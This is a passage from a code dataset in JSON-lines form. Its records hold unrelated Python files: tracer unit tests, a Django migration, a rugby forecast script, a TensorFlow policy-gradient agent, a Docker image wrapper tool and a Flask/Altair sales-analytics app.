test_span_as_context_manager(self):\n        \"\"\" Tests that, within a span as a context manager, exceptions are logged and re-raised.\n        \"\"\"\n        tracer = self.create_test_tracer()\n        exception_caught = False\n\n        try:\n            with tracer.start_span(operation_name='test_exception_span') as span:\n                span.log_event('Before Error')\n                raise RuntimeError(\"Intentional exception\")\n                span.log_event('After Error')\n        except RuntimeError:\n            exception_caught = True\n\n        self.assertTrue(exception_caught)\n        logs = self.mock_reporter.spans[0].logs\n        self.assertEqual(len(logs), 2)\n        self.assertEqual(logs[0].level, lightstep.constants.INFO_LOG)\n        self.assertEqual(logs[0].stable_name, 'Before Error')\n        self.assertEqual(logs[1].level, lightstep.constants.INFO_LOG, 'No support for error logs yet')\n        self.assertNotEqual(logs[1].stable_name, 'After Error',\n                            'Log stable_name after error should never have been logged, it should have been interrupted by the error.')\n\n    def test_buffer_limits(self):\n        self.runtime_args.update({'max_log_records': 47,\n                                  'max_span_records': 88,})\n        runtime = self.create_test_runtime()\n\n        self.assertEqual(len(runtime._log_records), 0)\n        self.assertEqual(len(runtime._span_records), 0)\n        for i in range(0, 10000):\n            runtime._add_log(ttypes.LogRecord(stable_name=\"Hello World %d!\" % (i)))\n        self.assertEqual(len(runtime._log_records), 47)\n        self.assertTrue(runtime.flush(self.mock_connection))\n\n        self.assertEqual(len(runtime._log_records), 0)\n        self.assertEqual(len(runtime._span_records), 0)\n        for i in range(0, 10000):\n            runtime._add_log(ttypes.LogRecord(stable_name=\"Hello World %d!\" % (i)))\n        self.assertEqual(len(runtime._log_records), 47)\n        self.assertTrue(runtime.flush(self.mock_connection))\n\n        self.assertEqual(len(runtime._log_records), 0)\n        self.assertEqual(len(runtime._span_records), 0)\n        for i in range(0, 10000):\n            runtime._add_span(ttypes.SpanRecord(span_name=\"hello_world\"))\n            runtime._add_log(ttypes.LogRecord(stable_name=\"Hello World %d!\" % (i)))\n        self.assertEqual(len(runtime._log_records), 47)\n        self.assertEqual(len(runtime._span_records), 88)\n        self.assertTrue(runtime.flush(self.mock_connection))\n\n    def test_state_ids(self):\n        \"\"\"\n        Test that core tracing ids are serialized properly.\n        \"\"\"\n        tracer = self.create_test_tracer()\n        # Create a parent and child span and finish each (via with).\n        with tracer.start_span(operation_name='parent') as parent:\n            with tracer.start_span(operation_name='child', parent=parent) as child:\n                # Nothing to do; we're just checking id propagation.\n                pass\n\n        parent_span_record = self.mock_reporter.spans[1].span_record\n        child_span_record = self.mock_reporter.spans[0].span_record\n        self.assertEqual(parent_span_record.span_name, 'parent')\n        self.assertEqual(child_span_record.span_name, 'child')\n        self.assertEqual(child_span_record.trace_guid, parent_span_record.trace_guid)\n        parent_guid = None\n        for tagrec in child_span_record.attributes:\n            if tagrec.Key == \"parent_span_guid\":\n                parent_guid = tagrec.Value\n        self.assertEqual(parent_guid, parent_span_record.span_guid)\n\n    # ------\n    # HELPER\n    # ------\n    def check_logs(self, logs):\n        \"\"\" Checks logs' stable_name.\n        \"\"\"\n        for i, log in enumerate(logs):\n            self.assertEqual(log.stable_name, str(i))\n\n    def check_payload(self, expected_payload):\n        \"\"\" Returns whether correct payload is attached to a log.\n        \"\"\"\n        # Note: This is the raw payload that will be pickled by the\n        # reporter.\n        actual_payload = self.mock_reporter.spans[0].logs[0].payload_json\n\n        sorted_exp = jsonpickle.encode(jsonpickle.decode(expected_payload))\n        sorted_act = jsonpickle.encode(actual_payload, unpicklable=False, make_refs=False)\n        self.assertEqual(sorted_act, sorted_exp)\n\n    def check_spans(self, spans):\n        \"\"\" Checks spans' name.\n        \"\"\"\n        for i, span in enumerate(spans):\n            self.assertEqual(span.span_name, str(i))\n\n    def log_payload(self, payload):\n        tracer = self.create_test_tracer()\n        with tracer.start_span(operation_name='payload span') as span:\n            span.log_event('payload log', payload=payload)\n        # Return the tracer in case the caller wants to do more with it.\n        return tracer\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"tests/runtime_test.py","file_name":"runtime_test.py","file_ext":"py","file_size_in_byte":19353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"275542459","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('polls', '0002_football'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='football',\n            name='foundation',\n            field=models.DateTimeField(default='2012-09-04 06:00:00+0700', verbose_name=b'khue'),\n            preserve_default=False,\n        ),\n    ]\n","sub_path":"polls/migrations/0003_football_foundation.py","file_name":"0003_football_foundation.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"571203659","text":"## IMPORTS\nimport sys\nimport yaml\nwith open('secrets.yml', 'r') as file:\n    secrets = yaml.safe_load(file)\nsys.path.append(secrets['elo_proj_path'])\n\nimport pickle\nfrom player_club_classes import team_elo, Player, Club, Match\nimport pandas as pd\nimport numpy as np\nfrom mdutils.mdutils import MdUtils\nfrom mdutils import Html\nfrom tabulate import tabulate\nfrom sklearn import metrics\nfrom support_files.comp_funcs import sim_remaining\nfrom support_files.team_colors import team_color_dict\nfrom support_files.plot_functions import *\n\ndef clean_leading_space(orig_name, new_name):\n    ## quick and dirty remove empty leading lines\n    TAG = b'HEADERSTART'\n    tag_found = False\n    with open(orig_name, 'rb') as in_file:\n        with open(new_name, 'wb') as out_file:\n            for line in in_file:\n                if not tag_found:\n                    if line.strip() == TAG:\n                        tag_found = True\n                else:\n                    out_file.write(line)\n\ndef main():\n\n    md_file = MdUtils(file_name=f'temp//World_Cup_2023')\n    # yaml header\n    md_file.new_line(\"HEADERSTART\")\n    md_file.new_line(\"---\")\n    md_file.new_line(\"layout: page\")\n    md_file.new_line(f'title: World Cup 2023 Projections')\n    md_file.new_line(f'date: ')\n    md_file.new_line(\"categories: projection\")\n    md_file.new_line(\"---\")\n\n    poola = [\n        'New Zealand',\n        'France',\n        'Italy',\n        'Uruguay',\n        'Namibia'\n    ]\n    poolb = [\n        'South Africa',\n        'Ireland',\n        'Scotland',\n        'Tonga',\n        'Romania'\n    ]\n    poolc = [\n        'Wales',\n        'Australia',\n        'Fiji',\n        'Georgia',\n        'Portugal'\n    ]\n    poold = [\n        'England',\n        'Japan',\n        'Argentina',\n        'Samoa',\n        'Chile'\n    ]\n\n    team_colors = pd.DataFrame(team_color_dict).T\n    team_colors.columns = ['Primary', 'Secondary']\n    team_colors = team_colors.rename_axis('Team').reset_index()\n\n    with open('../Rugby_ELO/processed_data/clubbase.pickle', 'rb') as handle:\n        clubbase = pickle.load(handle)\n\n    fut_matches_df = pd.read_csv(\"../Rugby_ELO/future_matches/worldcup_2023.psv\", sep=\"|\")\n    fut_matches_df.Date = pd.to_datetime(fut_matches_df.Date)\n    fut_matches_df['neutral'] = np.where(fut_matches_df['Home Team'] == 'France', 0, 1)\n\n    conditions  = [\n        fut_matches_df['Home Team'].isin(poola), \n        fut_matches_df['Home Team'].isin(poolb), \n        fut_matches_df['Home Team'].isin(poolc), \n        fut_matches_df['Home Team'].isin(poold)\n        ]\n    choices = ['PoolA', 'PoolB', 'PoolC', 'PoolD']\n    fut_matches_df['matchname'] = np.select(conditions, choices, default=np.nan)\n\n    sim_df, playoff_df, _ = sim_remaining('worldcup_2023', 1000, fut_matches_df, clubbase)\n    sim_df['Pool'] = sim_df.Competition.str.split(\" \").str[0]\n\n\n    md_file.new_header(level = 1, title=f'Pool Predictions')\n    for pool in choices:\n        pool_subset = fut_matches_df[fut_matches_df.matchname == pool].copy()\n        md_file.new_header(level = 2, title=f'{pool[0:4]} {pool[-1]}')\n\n        for _, row in pool_subset.iterrows():\n            matchname = row[\"Home Team\"] + \" V \" + row[\"Away Team\"] + \" on \" + row[\"Date\"].strftime('%Y/%m/%d')\n            one_match = sim_df[(sim_df.Club == row['Home Team']) & (sim_df.Opponent == row['Away Team'])].copy()\n            one_match['Home_Rtng'] = one_match.Competition.str.split(\" \").str[1].str.split(\"-\").str[-1].astype(float)\n            one_match['Away_Rtng'] = one_match.Competition.str.split(\" \").str[-1].str.split(\"-\").str[-1].astype(float)\n\n            performance_path, spread_path, resultbar_path = glicko_club_plots(\n                one_match['Home_Rtng'], \n                one_match['Away_Rtng'], \n                one_match['Club'].iloc[0], \n                one_match['Opponent'].iloc[0], \n                \"wc_files/\", \n                f\"{one_match['Club'].iloc[0]}_V_{one_match['Opponent'].iloc[0]}_{pool}\", \n                team_colors[team_colors.Team == one_match['Club'].iloc[0]].Primary.iloc[0], \n                team_colors[team_colors.Team == one_match['Opponent'].iloc[0]].Primary.iloc[0], \n                team_colors[team_colors.Team == one_match['Club'].iloc[0]].Secondary.iloc[0], \n                team_colors[team_colors.Team == one_match['Opponent'].iloc[0]].Secondary.iloc[0], \n                point_diff = None)\n\n            average_line = np.round(one_match.Point_Diff.mean(), 1)\n            winner = row[\"Home Team\"] if average_line > 0 else row['Away Team']\n            average_line_txt = f\"{winner} by {abs(average_line)}\"\n\n            md_file.new_header(level = 3, title = matchname)\n            md_file.new_paragraph(f\"Average Margin: {average_line_txt}\")\n            md_file.new_paragraph(f'<p float=\"left\">\\n<img src=\"{performance_path}\" width=\"32%\" />\\n<img src=\"{resultbar_path}\" width=\"32%\" />\\n<img src=\"{spread_path}\" width=\"32%\" />\\n</p>\\n')\n\n\n    md_file.create_md_file()\n\n\n    clean_leading_space(f'temp//World_Cup_2023.md', f'wc_files//World_Cup_2023.md')\n","sub_path":"site_resources/worldcup2023_forecast.py","file_name":"worldcup2023_forecast.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"187337848","text":"import time\nfrom random import randint as rnd\n\n\ndef test_available_add_to_basket_button(browser):\n    browser.find_element_by_css_selector('li.dropdown-submenu a').click()\n    items = browser.find_elements_by_css_selector('section ol.row li')  # все книги\n    item = items[rnd(0, len(items) - 1)]  # выбираем случайную книгу\n    item.find_element_by_css_selector('h3 a').click()\n    add_to_basket = browser.find_element_by_css_selector('button.btn-add-to-basket')  # заветная нам кнопка\n    assert add_to_basket\n    time.sleep(5)","sub_path":"test_items.py","file_name":"test_items.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"267769263","text":"import tensorflow as tf\nimport tensorflow.contrib.slim as slim\nimport numpy as np\n\nclass Agent():\n    def __init__(self, lr, s_size,a_size,h_size):\n        #These lines established the feed-forward part of the network. The agent takes a state and produces an action.\n        \n        #creates a placeholder tensor for the input.\n        #s size is the number of inputs\n        self.state_in = tf.placeholder(shape=[None,s_size],dtype=tf.float32)\n\n        #https://www.tensorflow.org/api_docs/python/tf/contrib/layers/fully_connected\n        #each call to fully connected adds a hidden layer to the network\n        #h_size is the number neurons in the hidden layer, biases_initializer=None skips biases, activation_fn=tf.nn.relu ReLU is default but they set it anyways\n        hidden = slim.fully_connected(self.state_in, h_size, biases_initializer=None, activation_fn=tf.nn.relu)\n        \n        #takes the output of the first part of the network and passes it to the output layer of the network, which uses the softmax activation fnct\n        #a_size is the number of outputs. in the example, this is 2 because the cart moves left or right, for two actions\n        self.output = slim.fully_connected(hidden, a_size, activation_fn=tf.nn.softmax, biases_initializer=None)\n\n        #\"Returns the index with the largest value across axes of a tensor\", not sure what the 1 is\n        self.chosen_action = tf.argmax(self.output,1)\n\n        #The next six lines establish the training proceedure. We feed the reward and chosen action into the network\n        #to compute the loss, and use it to update the network.\n        self.reward_holder = tf.placeholder(dtype=tf.float32)\n        self.action_holder = tf.placeholder(dtype=tf.int32)\n        \n        self.indexes = tf.range(0, tf.shape(self.output)[0]) * tf.shape(self.output)[1] + self.action_holder\n        self.responsible_outputs = tf.gather(tf.reshape(self.output, [-1]), self.indexes)\n\n        #REINFORCE algorithm\n        self.loss = -tf.reduce_mean(tf.log(self.responsible_outputs)*self.reward_holder)\n        \n        #returns layers\n        tvars = tf.trainable_variables()\n\n        self.gradient_holders = []\n        for idx,var in enumerate(tvars):\n            placeholder = tf.placeholder(tf.float32,name=str(idx)+'_holder')\n            self.gradient_holders.append(placeholder)\n        \n        #creates\n        self.gradients = tf.gradients(self.loss, tvars)\n        \n        #Adam - adaptive learning rate\n        optimizer = tf.train.AdamOptimizer(learning_rate=lr)\n        \n        #applyies gradients to variables\n        self.update_batch = optimizer.apply_gradients(zip(self.gradient_holders, tvars))\n\ndef discount_rewards(r, gamma):\n    #take 1D float array of rewards and compute discounted reward\n    discounted_r = np.zeros_like(r)\n    running_add = 0\n    for t in reversed(range(0, r.size)):\n        running_add = running_add * gamma + r[t]\n        discounted_r[t] = running_add\n    return discounted_r","sub_path":"agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"222582640","text":"import re\nfrom officelib.xllib import xladdress, xlcom\n\n\n_sform_re = re.compile(r\"\\=SERIES\\((.*?)\\,(.*?)\\,(.*?)\\,(.*?)\\)\")\n_value_re = re.compile(r\"\\$(.*?)\\$(\\d*?)$\")\n\ndef _split_address(a):\n    m = _value_re.match(a)\n    if not m:\n        raise ValueError(a)\n    return m.groups()\n    \ndef _move_addr(addr, offset):\n    c, r = _split_address(addr)\n    r = int(r) + offset\n    return ''.join((\"$\", c, \"$\", str(r)))\n    \ndef _move_form(form, offset_up, offset_down):\n    sheet, form = form.split(\"!\")\n    s, e = form.split(\":\")\n    s = _move_addr(s, -offset_up)\n    e = _move_addr(e, offset_down)\n    form = \"\".join((sheet, \"!\", s, \":\", e))\n    return form\n    \n    \ndef _expand_formula(formula, offset_down, offset_up):\n    m = _sform_re.match(formula)\n    if not m:\n        raise ValueError(formula)\n    nform, xform, yform, num = m.groups()\n    xform = _move_form(xform, offset_up, offset_down)\n    yform = _move_form(yform, offset_up, offset_down)\n    full_form = \"=SERIES(%s,%s,%s,%s)\" % (nform, xform, yform, num)\n    return full_form\n\n\ndef expand_series(series, offset_down, offset_up=0):\n    with xlcom.screen_lock(series.Application):\n        old_formula = series.Formula\n        full_form = _expand_formula(old_formula, offset_down, offset_up)\n        series.Formula = full_form\n   \ndef _true(s):\n    return True   \n\ndef expand_chart_data(chart, down=1, up=0, allow_cb=_true):\n    with xlcom.screen_lock(chart.Application):\n        for series in chart.SeriesCollection():\n            if allow_cb(series):\n                expand_series(series, down, up) \n    \ndef expand_data(xl=None, down=1, up=0, allow_cb=_true):\n    if xl is None:\n        xl = xlcom.Excel()\n    for co in xl.ActiveSheet.ChartObjects():\n        expand_chart_data(co.Chart, down, up, allow_cb)","sub_path":"tools/excel_chart_util.py","file_name":"excel_chart_util.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"316741766","text":"import json\nimport argparse\nimport os\nfrom os.path import join\nfrom subprocess import call\n\nfrom .. import CLOUD_PIPE_TEMPLATES_FOLDER\nfrom .. import CLOUD_PIPE_TMP_FOLDER\nfrom .. import CLOUD_PIPE_ALGORITHM_FOLDER\nfrom .. import create_folder\nfrom ..utils import get_int\nfrom ..utils import get_true_or_false\n\n\nSUPPORTED_SYSTEM = {'ubuntu'}\n\n\ndef generate_dockerfile(system_name, image_name):\n    \"\"\"\n    Generate the Dockerfile content.\n\n    When the 'docker build' command builds the new image from this Dockerfile,\n    it initializes the run enviornment for runscript.py and copies runscript.py\n    to /ecs_container inside the Docker container.\n\n    :param system_name: The base operating system image on which the new\n                        Docker image is built\n    :type system_name: str\n\n    :param image_name: The name of the user's original algorithm image\n                       on which the new wrapped image is based on\n    :type image_name: str\n\n    :return: The Dockerfile content\n    :rtype: str\n    \"\"\"\n    if system_name == 'ubuntu':\n        file_path = join(CLOUD_PIPE_TEMPLATES_FOLDER, 'ubuntu_wrapper.txt')\n        with open(file_path, 'r') as myfile:\n            dockerfile = myfile.read()\n    return dockerfile % {'image_name': image_name}\n\n\ndef generate_runscript(input_dir, output_dir,\n                       input_file_path, output_file_path,\n                       executable_path, config_bucket,\n                       config_files, algorithm_name, command):\n    \"\"\"\n    Generate the runscript that will be copied to the new wrapped image.\n    This runscript will be executed by the AWS Batch Job.\n    The runscript is responsible for downloading the specified\n    input file from S3, executing the run_command, and uploading\n    the output file to S3.\n\n    :param input_dir: Absolute path to the directory inside the\n                      Docker container containing the input files\n    :type input_dir: str\n\n    :param output_dir: Absolute path to the directory inside the\n                       Docker container containing the output files\n    :type output_dir: str\n\n    :param input_file_path: Absolute path to the input file(s) inside the\n                            Docker container. If there are mulitple input\n                            files, then this will be a path to the directory\n                            containing the files\n    :type input_file_path: str\n\n    :param output_file_path: Absolute path to the output file(s) inside the\n                             Docker container. If there are mulitple output\n                             files, then this will be a path to the directory\n                             containing the files\n    :type output_file_path: str\n\n    :param executable_path: Absolute path to the executable inside the\n                            Docker container\n    :type executable_path: str\n\n    :param config_bucket: S3 bucket containing the configuration files\n                          specified in the JSON document during 'wrap'\n    :type config_bucket: str\n\n    :param config_files: A list of names of the configuration files\n                         necessary for running the algorithm\n    :type config_files: list\n\n    :param algorithm_name: Name of the algorithm defined by the user\n    :type algorithm_name: str\n\n    :param command: The command to run the algorithm inside the container\n    :type command: str\n\n\n    :return: The runscript for runscript.py, initialized with all the\n             parameters provided in the user's JSON document\n    :rtype: str\n    \"\"\"\n    file_path = join(CLOUD_PIPE_TEMPLATES_FOLDER, 'runscript_template.txt')\n    with open(file_path, 'r') as myfile:\n        script = myfile.read()\n\n    config_files = ' '.join(config_files)\n    return script % {'input_dir': input_dir,\n                     'output_dir': output_dir,\n                     'input_file_path': input_file_path,\n                     'output_file_path': output_file_path,\n                     'executable_path': executable_path,\n                     'config_bucket': config_bucket,\n                     'config_files': config_files,\n                     'algorithm_name': algorithm_name,\n                     'command': command}\n\n\ndef wrapper(alg_info):\n    \"\"\"\n    Generate Dockerfile according to the information provided by user.\n    This information is taken from the JSON document specified in the\n    'wrap -f <json_document>' command.\n\n    :param alg_info: Information about the algorithm\n    :type alg_info: dict\n    \"\"\"\n\n    # Create a local directory containing the Dockerfile and runscript.py\n    folder = join(CLOUD_PIPE_TMP_FOLDER, alg_info['algorithm_name'])\n    create_folder(folder)\n\n    # Generate runscript\n    if alg_info['input_dir'][-1] != '/':\n        alg_info['input_dir'] += '/'\n    if alg_info['output_dir'][-1] != '/':\n        alg_info['output_dir'] += '/'\n\n    runscript = generate_runscript(alg_info['input_dir'],\n                                   alg_info['output_dir'],\n                                   alg_info['input_file_path'],\n                                   alg_info['output_file_path'],\n                                   alg_info['executable_path'],\n                                   alg_info['config_bucket'],\n                                   alg_info['config_files'],\n                                   alg_info['algorithm_name'],\n                                   alg_info['run_command'])\n\n    run_file = join(folder, 'runscript.py')\n    with open(run_file, 'w+') as tmpfile:\n        tmpfile.write(runscript)\n\n    # Generate Dockerfile\n    if alg_info['system'] not in SUPPORTED_SYSTEM:\n        print(\"not support %s yet.\" % alg_info['system'])\n        return\n\n    dockerfile = generate_dockerfile(alg_info['system'],\n                                     alg_info['image_name'])\n\n    docker_file = join(folder, 'Dockerfile')\n    with open(docker_file, 'w+') as tmpfile:\n        tmpfile.write(dockerfile)\n\n\ndef get_instance_type(alg_info):\n    \"\"\"\n    Based on the user provided information, choose an\n    appropriate ec2 instance type\n    \"\"\"\n    # TODO:\n    pass\n\n\ndef generate_image(algorithm_name, folder_path, args):\n    \"\"\"\n    Given new Docker image name and Dockerfile, build new image, prepend image\n    name with registry username, and upload it to the desired registry.\n    Default registry is Docker Hub; will support other registries soon.\n\n    :param algorithm_name: Name of the algorithm defined by user in the\n                           JSON document\n    :type algorithm_name: str\n\n    :param folder_path: The path to directory where Dockerfile is stored\n                        The path is ~/.cloud_pipe/tmp/<name>\n    :type folder_path: str\n\n    :param args: Command line arguments passed in from :py:module:`wrap`.\n                 Currently, only args.user is used; args.registry will be\n                 used soon\n    :type args: argparse.Namespace\n\n    :return: The tagged (prepended with registry username) name of the\n             new Docker image\n    :rtype: str\n    \"\"\"\n    tagged_image_name = args.user + '/' + algorithm_name\n    BUILD_COMMAND = 'docker build -t %(algorithm_name)s %(path)s' \\\n                    % {'algorithm_name': algorithm_name,\n                       'path': join(folder_path, '.')}\n    TAG_COMMAND = 'docker tag %(algorithm_name)s %(tag)s' \\\n                  % {'algorithm_name': algorithm_name, \n                     'tag': tagged_image_name}\n    UPLOAD_COMMAND = 'docker push %(tag)s' % {'tag': tagged_image_name}\n\n    print(BUILD_COMMAND)\n\n    call(BUILD_COMMAND.split())\n    call(TAG_COMMAND.split())\n    call(UPLOAD_COMMAND.split())\n\n    # remove the folder generated during the image generatation process\n    #remove = 'rm -r ' + folder_path\n    #call(remove.split())\n\n    return tagged_image_name\n\n\ndef generate_image_info(alg_info, image_name):\n    \"\"\"\n    Update newly wrapped algorithm image information with any additional\n    info necessary for running the algorithm as a Docker container\n    on AWS.\n\n    :param alg_info: Algorithm information provided by user\n    :type alg_info: dict\n\n    :param image_name: Name of the new wrapped Docker image\n    :type image_name: str\n\n    :return: Algorithm information updated with additional info\n    :rtype: dict\n    \"\"\"\n    new_vars = []\n    new_vars.append({'name': 'ALGORITHM_NAME', 'required': True})\n    new_vars.append({'name': 'AWS_DEFAULT_REGION', 'required': True})\n    new_vars.append({'name': 'AWS_DEFAULT_OUTPUT', 'required': True})\n    #new_vars.append({'name': 'AWS_ACCESS_KEY_ID', 'required': True})\n    #new_vars.append({'name': 'AWS_SECRET_ACCESS_KEY', 'required': True})\n\n    alg_info['image_name'] = image_name\n    #alg_info['instance_type'] = get_instance_type(alg_info)\n    alg_info['user_specified_environment_variables'].extend(new_vars)\n    return alg_info\n\n\ndef generate_all(alg, args):\n    \"\"\"\n    Generate Dockerfile, build new image, upload to registry\n    and generate detailed information about the new image.\n\n    :param alg: Algorthm information provided by user in JSON format\n    :type alg: dict\n\n    :param args: Command line arguments parsed from :py:module:`wrap`.\n                 Includes args.user and args.registry.\n    :type args: argparse.Namespace\n    \"\"\"\n    wrapper(alg)\n\n    path = join(CLOUD_PIPE_TMP_FOLDER, alg['algorithm_name'])\n    tagged_image_name = generate_image(alg['algorithm_name'], path, args)\n\n    info = generate_image_info(alg, tagged_image_name)\n\n    name = tagged_image_name.split('/')[-1] + '_info.json'\n\n    file_path = join(CLOUD_PIPE_ALGORITHM_FOLDER, name)\n\n    with open(file_path, 'w') as data_file:\n        json.dump(info, data_file, indent='    ', sort_keys=True)\n\n    print('Successfully wrapped image {}'.format(tagged_image_name))\n\n\nif __name__ == '__main__':\n    \"\"\"\n    Parse command line arguments for the 'wrap' command.\n    'Wrapping' does the following:\n        - Creates a new image based on the user's given algorithm image\n        - Copies a Python script (runscript.py) to the new image\n        - This Python script downloads an object from S3, runs the\n          command specified in the JSON document, and uploads the output\n          file(s) to S3\n    \"\"\"\n    DEFAULT_USER = 'wangyx2005'\n\n    parser = argparse.ArgumentParser(description='A tool to wrap '\n                                                 'your algorithm images')\n\n    parser.add_argument('-f', '--files', nargs='+',\n                        help='List json files to describe your algorithms')\n\n    parser.add_argument('-s', '--show', action='store_true',\n                        help='Show described algorithm '\n                             'before generating the new image')\n\n    parser.add_argument('-u', '--user', action='store', default=DEFAULT_USER,\n                        help=('Username of Docker Hub account, '\n                             'default is {}').format(DEFAULT_USER))\n\n    args = parser.parse_args()\n\n    if args.files is None:\n        print('please use the -f flag')\n        exit(0)\n\n    for file_name in args.files:\n        with open(file_name, 'r') as data_file:\n            alg = json.load(data_file)\n\n        generate_all(alg, args)\n","sub_path":"yunpipe/wrapper/container_wrapper.py","file_name":"container_wrapper.py","file_ext":"py","file_size_in_byte":11150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"32667119","text":"import logging\n\nfrom markdown.extensions.codehilite import CodeHilite, CodeHiliteExtension\nfrom markdown.treeprocessors import Treeprocessor\n\nlogger = logging.getLogger(__name__)\n\n\nclass HiliteTreeprocessor(Treeprocessor):\n    \"\"\" Hilight source code in code blocks. \"\"\"\n\n    def run(self, root):\n        \"\"\" Find code blocks and store in htmlStash. \"\"\"\n        blocks = root.iter('pre')\n        for block in blocks:\n            if len(block) == 1 and block[0].tag == 'code':\n                code = CodeHilite(\n                    block[0].text,\n                    linenums=self.config['linenums'],\n                    guess_lang=self.config['guess_lang'],\n                    css_class=self.config['css_class'],\n                    style=self.config['pygments_style'],\n                    noclasses=self.config['noclasses'],\n                    tab_length=self.markdown.tab_length,\n                    use_pygments=self.config['use_pygments']\n                )\n                html = code.hilite()\n                html = \"\"\"<div class=\"codehilite-wrap\">{}</div>\"\"\".format(html)\n                placeholder = self.markdown.htmlStash.store(html, safe=True)\n                # Clear codeblock in etree instance\n                block.clear()\n                # Change to p element which will later\n                # be removed when inserting raw html\n                block.tag = 'p'\n                block.text = placeholder\n\n\nclass WikiCodeHiliteExtension(CodeHiliteExtension):\n    \"\"\"\n    markdown.extensions.codehilite cannot configure container tags but forces\n    code to be in <table></table>, so we had to overwrite some of the code\n    because it's hard to extend...\n    \"\"\"\n\n    def extendMarkdown(self, md, md_globals):\n        \"\"\" Add HilitePostprocessor to Markdown instance. \"\"\"\n        hiliter = HiliteTreeprocessor(md)\n        hiliter.config = self.getConfigs()\n        if \"hilite\" in md.treeprocessors:\n            logger.warning(\n                \"Replacing existing 'hilite' extension - please remove \"\n                \"'codehilite' from WIKI_MARKDOWN_KWARGS\"\n            )\n            del md.treeprocessors[\"hilite\"]\n        md.treeprocessors.add(\"hilite\", hiliter, \"<inline\")\n\n        md.registerExtension(self)\n","sub_path":"wiki/core/markdown/mdx/codehilite.py","file_name":"codehilite.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"242178511","text":"import time\r\nfrom flask import Flask\r\n\r\nimport vega_datasets\r\nimport altair as alt\r\n\r\nfrom analysis import *\r\n\r\napp = Flask(__name__)\r\n\r\n# Initialize DataAnalysis class\r\nmock_nov_data = '../mock-data/2019-Nov.csv'\r\ndata_analysis = DataAnalysis(data_path=mock_nov_data)\r\n\r\n\r\n@app.route('/time')\r\ndef get_time():\r\n    return {'time': time.time()}\r\n\r\n\r\n@app.route('/vega')\r\ndef get_vega_js():\r\n    cars = vega_datasets.data('cars')\r\n    chart = alt.Chart(cars)\r\n    chart = chart.mark_point().encode(x='Displacement')\r\n    return chart.to_json()\r\n\r\n'''Basic analysis/ visualization'''\r\n# By category\r\n# TODO: top x\r\n@app.route('/top-categories-by-sales-with-revenue')\r\ndef get_top_categories_by_sales_with_revenue():\r\n    top_cat_sales = data_analysis.top_categories_by_sales()\r\n    chart_sales = alt.Chart(top_cat_sales, title='Top 10 categories by # of Sales').mark_bar().encode(\r\n        x=alt.X('product_id:Q', title='# of sales'),\r\n        y=alt.Y('category_code:N', sort='-x'),\r\n    )\r\n\r\n    top_ten_cat_by_revenues = data_analysis.top_categories_by_revenues()\r\n    chart_revenues = alt.Chart(top_ten_cat_by_revenues, title='Total Revenue').mark_text().encode(\r\n        y=alt.Y('category_code:N', axis=None, sort='-text'),\r\n        text='price:Q'\r\n    ).properties(width=100)\r\n\r\n    chart = chart_sales | chart_revenues\r\n    return chart.to_json()\r\n\r\n\r\n@app.route('/top-categories-by-revenues')\r\ndef get_top_categories_by_revenues():\r\n    top_ten_cat_by_revenues = data_analysis.top_categories_by_revenues()\r\n    chart = alt.Chart(top_ten_cat_by_revenues, title='Total Revenue').mark_text().encode(\r\n        y=alt.Y('category_code:N', axis=None, sort='-text'),\r\n        text='price:Q'\r\n    ).properties(width=100)\r\n    return chart.to_json()\r\n\r\n# TODO: top x\r\n@app.route('/conversions')\r\ndef get_conversions():\r\n    nov_funnel = data_analysis.funnel_by_category()\r\n    categories = list(nov_funnel.category_code.unique())\r\n\r\n    cat_dropdown = alt.binding_select(options=categories)\r\n    cat_select = alt.selection_single(\r\n        fields=['category_code'], bind=cat_dropdown, name=\"Category\")\r\n\r\n    chart = alt.Chart(nov_funnel, title='Novemeber:Conversion for top 10 category_codes').mark_bar().encode(\r\n        x=alt.X('event_type:N', sort=('view', 'cart', 'purchase')),\r\n        y=alt.Y('funnel_value:Q'),\r\n        column='category_code:O'\r\n    ).properties(\r\n        width=200,\r\n        height=300\r\n    ).resolve_scale(y='independent').add_selection(\r\n        cat_select\r\n    ).transform_filter(\r\n        cat_select\r\n    ).properties(title=\"Select a Category to Highlight It\")\r\n    return chart.to_json()\r\n\r\n\r\n@app.route('/top-brands-by-sales-grouped-by-category')\r\ndef get_top_brands_by_sales_grouped_category():\r\n    return {}\r\n\r\n\r\n# By brand\r\n@app.route('/top-brands-by-sales-with-revenues')\r\ndef get_top_brands_by_sales():\r\n    chart1 = alt.Chart(data_analysis.top_brands_by_sales(), title='Top 10 brands by # of Sales').mark_bar().encode(\r\n        x=alt.X('product_id:Q', title='# of sales'),\r\n        y=alt.Y('brand:N', sort='-x'),\r\n    )\r\n\r\n    chart2 = alt.Chart(data_analysis.top_brands_by_revenues(), title='Total Revenue').mark_text().encode(\r\n        y=alt.Y('brand:N', axis=None, sort='-text'),\r\n        text='price:Q'\r\n    ).properties(width=100)\r\n\r\n    chart = chart1 | chart2\r\n    return chart.to_json()\r\n\r\n\r\n@app.route('/top-brands-by-conversions')\r\ndef get_top_brands_by_conversions():\r\n    nov_funnel_by_brand = data_analysis.funnel_by_brand()\r\n\r\n    brands = list(nov_funnel_by_brand.brand.unique())\r\n    brand_dropdown = alt.binding_select(options=brands)\r\n    brand_select = alt.selection_single(\r\n        